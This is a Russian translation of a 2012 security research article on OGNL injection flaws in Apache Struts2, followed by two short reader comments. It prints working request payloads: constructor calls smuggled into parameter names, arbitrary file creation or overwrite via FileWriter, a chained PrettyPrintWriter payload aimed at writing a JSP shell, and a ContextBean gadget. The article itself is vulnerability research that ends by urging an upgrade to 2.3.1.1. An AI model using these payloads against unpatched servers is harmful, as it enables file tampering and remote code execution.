23.01.2012

Многочисленные уязвимости в Apache Struts2 и свойство-ориентированное программирование

image

В предыдущем месяце я обнаружил странное поведение Java приложения во время пен-тестирования методом черного ящика.

Автор: Johannes Dahse
http://websec.wordpress.com/

Введение

В предыдущем месяце я обнаружил странное поведение Java приложения во время пен-тестирования методом черного ящика. Значение параметра id отображалось в HTTP-ответе, вследствие чего я начал пытаться использовать SQL-инъекцию с помощью следующих запросов:

request response
?id=abcabc
?id=abc’
?id=abc’||’def
?id=abc’+'defabcdef

Что ж, выглядит многообещающе. Попробуем SQL-инъекцию.

request response
?id=abc’+/**/’def
?id=abc’+(select 1)+’def
?id=abc’+(select 1 from dual)+’def

Не сработало. Возможно, отсутствует имя таблицы в MS Access? Стандартные методы не сработали. Какие еще типы комментариев можно использовать?

request response
?id=abc’%00
?id=abc’;%00
?id=abc’– -

Также неудачно. Поэтому я начал с самого начала.

request response
?id=abc’+'defabcdef
?id=abc’+1+’def abc1def
?id=abc’+(1)+’def abc1def
?id=abc’+a+’def abcnulldef

Интересно. Не одна СУБД не вернет null для незнакомого столбца. Очевидно, здесь был проведен парсинг неинициализированной переменной. Кроме того, я смог получить доступ к другому параметру.

request response
?id=abc’+name+’def&name=fooabcfoodef

Приложение было написано на Java, поэтому я начал пробовал различные Java-команды, одна из которых, к моему удивлению, сработала

request response
?id=abc’+(new java.lang.String(“foo”))+’def abcfoodef

Удаленное исполнение Java-кода? Я думал, что это не представляется возможным без различного рода трюков (например, компиляции на лету). Несколько часов спустя я изучал код и обнаружил, что приложение использовало Apache Struts 2.2.2.1.

Apache Struts2, XWork and OGNL

Apache Struts2 – web фреймворк для создания web приложений на Java. В нем используются библиотеки OpenSymphony XWork и OGNL. По умолчанию ParametersInterceptor в XWork проверяет имена параметров как OGNL-выражения. В примере HelloWorld.action?parametername=1 parametername рассматривается как OGNL-выражение.

Выражения OGNL (Object Graph Navigation Language – язык навигации по объектам-графам) – по сути, ограниченный язык, напоминающий Java, помеченный и далее разобранный OGNL-парсером, вызывающим необходимые методы Java. Это позволяет, например, получать доступ к свойствам, имеющим методы get и set. Если параметр представлен как product.id=1, OGNL-парсер вызовет подходящий setter getProduct().setId(1) в текущем контексте. OGNL также может вызывать произвольные методы, конструкторы и имеет доступ к контекстным переменным.

Прошлые уязвимости Apache Struts2

По умолчанию для предотвращения вызова произвольных функций Java через параметры флаг xwork.MethodAccessor.denyMethodExecution выставляется в true, также SecurityMemberAccess и allowStaticMethodAccess выставляются в false.

До версии 2.2.2.1 существовала возможность обхода флагов безопасности и последующего выполнения произвольных функций с помощью параметров. Вы сможете найти детальную информацию по использованию уязвимости Pwnie, пройдя по ссылке http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html.

Таким образом, раньше существовала возможность получить доступ и изменить флаги безопасности, позволяя нарушителю использовать OGNL. В версии 2.2.2.1 данная уязвимость была закрыта с помощью строгого определения разрешенных для ParametersInterceptor символов. Это не позволяет нарушителю использовать символы # и \, таким образом, предотвращая доступ к флагам безопасности. acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+"; Описанная выше возможность имеет место из-за исключения, возникающего при попытке присвоить свойству типа Integer или Long значение типа String. После чего значение рассматривается как выражение OGNL (возможно, для приведения результата к корректному типу данных). Так как ограничения накладываются только на имена параметров, произвольный OGNL и, таким образом, Java код может быть выполнен.

К моему сожалению, о баге стало известно за два месяца, и он был исправлен в версии 2.2.3.1. список всех бюллетеней безопасности Struts вы можете найти по адресу https://cwiki.apache.org/confluence/display/WW/Security+Bulletins. Стоит посмотреть.

Новые уязвимости Apache Struts 2.

Первый шаг – поиск мест в коде, где OGNL-выражения, создаваемые пользователем, не проходят проверку. Такая ситуация наблюдается в CookieInterceptor (во всех версиях ниже 2.3.1.1), что ведет к возможности удаленного выполнения кода, когда Struts может оперировать cookies’ами.

Следующий шаг – проверить, является ли список запрещенных символов достаточно эффективным, и как можно использовать разрешенные символы. Для параметров все действия выполняются через getter и setter. Тем не менее, существует два способа для внедрения собственных OGNL-выражений. Первый – использование динамических имен функций, определяемых непосредственно перед выполнением, например, (‘ognl’)(x)=1, второй –использование индексов списков, вычисляемых непосредственно перед использованием, например, x[ognl]=1.

Но вы не сможете вызвать произвольный метод по принципу x[@java.lang.System@exec('calc')]=1, так как флаг безопасности allowStaticMethodAccess выставлен в false, а символ @ (используемый в OGNL для доступа к статическим методам) не разрешен к использованию. Вы можете получить доступ к setter’ам только с одним параметром (использование запятой также запрещено) с помощью строки name=foo или x[name('foo')]=1, что вызовет setter setName(‘foo’).

Также вы можете вызвать конструктор с одним параметром x[new java.lang.String('foo')]=1. Это, например, ведет к перезаписи произвольного файла при вызове конструктора FileWriter’а x[new java.io.FileWriter('test.txt')]=1. Для внедрения запрещенного символа / в имя файла можно использовать свойство типа String, например x[new java.io.FileWriter(message)]=1&message=C:/test.txt. FileWriter автоматически создаст пустой файл или перезапишет существующий.

Детальное описание всех уязвимостей с примерами кода могут быть найдены по ссылке https://www.sec-consult.com/en/advisories.html

Свойство-ориентированное Java-программирование

Прошу прощения за сленг ;) Но, возможно, это помогло вам понять суть идеи. Мы можем вызывать произвольные конструкторы и setter’ы. теперь нужно найти классы с уязвимыми конструкторами (с одним параметром) или setter’ами (также с одним параметром), или и то, и другое. Мы можем создавать произвольные файлы через вызовы new java.io.FileWriter(‘test.txt’), но мы не можем вызвать java.io.FileWriter(‘test.txt’).write(‘data’), так как denyMethodExecution разрешен и OGNL попытается вызвать setter setWrite(‘data’) для объекта FileWriter’а. Тем не менее, если нам удастся найти класс, который в своем конструкторе открывает файл, а затем пишет в него информацию через setter, уязвимость открытия произвольного файла может превратиться в уязвимость загрузки файла.

Для проверки я скачал много библиотек для apache (http://commons.apache.org/) и написал несколько регулярных выражений для поиска интересных гаджетов. Полезными в нашем случае будут классы с public-конструкторами, принимающими один параметр

"/public\s*[A-Za-z]*\s*$classname\s*\(([A-Za-z0-9_]+\s+[^,\s]+|\s*)\)\s*{[^}]*}/"

, а также с хотя бы одним setter’ом, принимающим один параметр

"/public.*set[A-Za-z0-9_]+\s*\((String|long|int|\s*)\s*[^,]*\)\s*{/"

В Struts, XWork, OGNL и 9 дополнительных библиотеках Apache было найдено 239 классов с public-конструкторами и, в общем, 669 setter’ов.

Пример 1

К моему удивлению я нашел то, что искал, в классе PrettyPrintWriter, находящемся в самом Struts

01 package org.apache.struts2.interceptor.debugging;
02
03 public class PrettyPrintWriter {
04 [...]
05 // constructors with 3, 2 and 1 parameter
06 public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
07 this.writer = new PrintWriter(writer);
08 this.lineIndenter = lineIndenter;
09 this.newLine = newLine;
10 }
11
12 public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
13 this(writer, lineIndenter, "\n");
14 }
15
16 public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
17 this(writer, lineIndenter.toCharArray(), newLine);
18 }
19
20 public PrettyPrintWriter(Writer writer, String lineIndenter) {
21 this(writer, lineIndenter.toCharArray());
22 }
23
24 // constructor with only one parameter that accepts our FileWriter
25 public PrettyPrintWriter(Writer writer) {
26 this(writer, new char[]{' ', ' '});
27 }
28
29 // setter that will call write() on our FileWriter()
30 public void setValue(String text) {
31 readyForNewLine = false;
32 tagIsEmpty = false;
33 finishTag();
34
35 writeText(writer, text);
36 }
37
38 protected void writeText(PrintWriter writer, String text) {
39 writeText(text);
40 }
41
42 // write text to writer object
43 private void writeText(String text) {
44 int length = text.length();
45 for (int i = 0; i < length; i++) {
46 char c = text.charAt(i);
47 switch (c) {
48 case '\0':
49 this.writer.write(NULL);
50 break;
51 [...]
52 default:
53 this.writer.write(c);
54 }
55 }
56 }
57 [...]
58 }

Идеально! Мы можем создать новый экземпляр PrettyPrintWriter с помощью public-конструктора
x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]

мы использовали конструктор, принимающий только один параметр (следует помнить, что запятая запрещена), типа Writer (FileWriter – подкласс Writer)из строки 25.
x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt'))]=1

Это позволит сохранить объект FileWriter в this.writer (строка 7). Теперь вызовем метод value нашего PrettyPrintWriter–объекта, после чего OGNL попытается вызвать setter setValue (строка 30)
x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt')).value('data')]=1

Вызов setValue приведет к вызову writeText, который в свою очередь вызовет метод write (строка 53) с нашими данными для FileWriter объекта. Таким образом, мы сможет записывать произвольные данные в произвольный файл. В примере загружается JSP-shell.
foobar=AAAAAAAA…&x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.BufferedWriter(new java.io.FileWriter('test026.txt'))).value(foobar)]=1

Оберткой для FileWriter’а является BufferedWriter (непосредственный подкласс Writer’а). Согласно документации, буфер будет сброшен автоматически после 8192 символов. Поэтому я попробовал отправить 9000 символов через HTTP POST, но это не сработало. Позже я узнал, что OGNL не принимает setValue как setter, так как в PrettyPrintWriter нет свойства value.

Пример 2

В OGNL можно найти тонны некорректно написанного кода, который может быть использован для выполнения произвольного кода, нужно лишь найти несколько подходящих конструкторов и setter’ов. Например, класс ContextBean в Struts.

01 package org.apache.struts2.components;
02
03 public abstract class ContextBean extends Component {
04 protected String var;
05
06 public ContextBean(ValueStack stack) {
07 super(stack);
08 }
09
10 public void setVar(String var) {
11 if (var != null) {
12 this.var = findString(var);
13 }
14 }
15 }

Если вы можете создать собственный экземпляр класса ValueStack (строка 6), вы можете вызвать setter setVar (строка 10), который действительно является setter’ом, так как переменная var существует (строка 4). Далее setVar вызывает findString (строка 12), в конце которой выполнится OGNL-выражение, взятое из другого параметра без проверки.
x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1
&foobar=OGNL expression

Проблемой в данном примере является создание экземпляра ValueStack с помощью конструктора, принимающего только один параметр (без использования запятой). Сам класс com.opensymphony.xwork2.util.ValueStack не предоставляет такого конструктора, но могут быть другие классы, как в первом примере.

Теперь вам ясна идея «свойство-ориентированного программирования». Если вам понравилась статья, прошу, дайте мне знать. Но не стоит забывать, что описанные уязвимости были исправлены в Struts 2.3.1.1. Разработчики сделали пробел запрещенным символом, таким образом, закрыв возможность использования конструкторов.

Все, кто использует Struts, должны обновить его до версии 2.3.1.1.

или введите имя

CAPTCHA
t3mpp
23-01-2012 10:06:59
интересно. приложений, использующих ява - ну очень много, а значит тема будет актуальна.
0 |
Alexey
23-01-2012 10:13:48
Во, хорошая статья!
0 |